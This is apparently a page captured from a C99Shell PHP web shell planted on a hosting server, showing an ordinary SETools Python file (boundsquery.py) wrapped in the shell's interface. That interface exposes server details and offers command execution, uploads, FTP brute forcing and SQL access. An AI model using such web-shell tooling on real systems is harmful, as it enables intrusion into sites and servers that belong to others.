!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib64/python3.6/site-packages/setools/   drwxr-xr-x
Free 6182.22 GB of 6263.42 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     boundsquery.py (2.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# Copyright 2016, Tresys Technology, LLC
#
# This file is part of SETools.
#
# SETools is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as
# published by the Free Software Foundation, either version 2.1 of
# the License, or (at your option) any later version.
#
# SETools is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with SETools.  If not, see
# <http://www.gnu.org/licenses/>.
#
import logging
import re

from .descriptors import CriteriaDescriptor, CriteriaSetDescriptor
from .policyrep import BoundsRuletype
from .query import PolicyQuery
from .util import match_regex


class BoundsQuery(PolicyQuery):

    """
    Query *bounds statements.

    Parameter:
    policy          The policy to query.

    Keyword Parameters/Class attributes:
    ruletype        The rule type(s) to match.
    """

    ruletype = CriteriaSetDescriptor(enum_class=BoundsRuletype)
    parent = CriteriaDescriptor("parent_regex")
    parent_regex = False
    child = CriteriaDescriptor("child_regex")
    child_regex = False

    def __init__(self, policy, **kwargs):
        super(BoundsQuery, self).__init__(policy, **kwargs)
        self.log = logging.getLogger(__name__)

    def results(self):
        """Generator which yields all matching *bounds statements."""
        self.log.info("Generating bounds results from {0.policy}".format(self))
        self.log.debug("Ruletypes: {0.ruletype}".format(self))
        self.log.debug("Parent: {0.parent!r}, regex: {0.parent_regex}".format(self))
        self.log.debug("Child: {0.child!r}, regex: {0.child_regex}".format(self))

        for b in self.policy.bounds():
            if self.ruletype and b.ruletype not in self.ruletype:
                continue

            if self.parent and not match_regex(
                    b.parent,
                    self.parent,
                    self.parent_regex):
                continue

            if self.child and not match_regex(
                    b.child,
                    self.child,
                    self.child_regex):
                continue

            yield b

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0114 ]--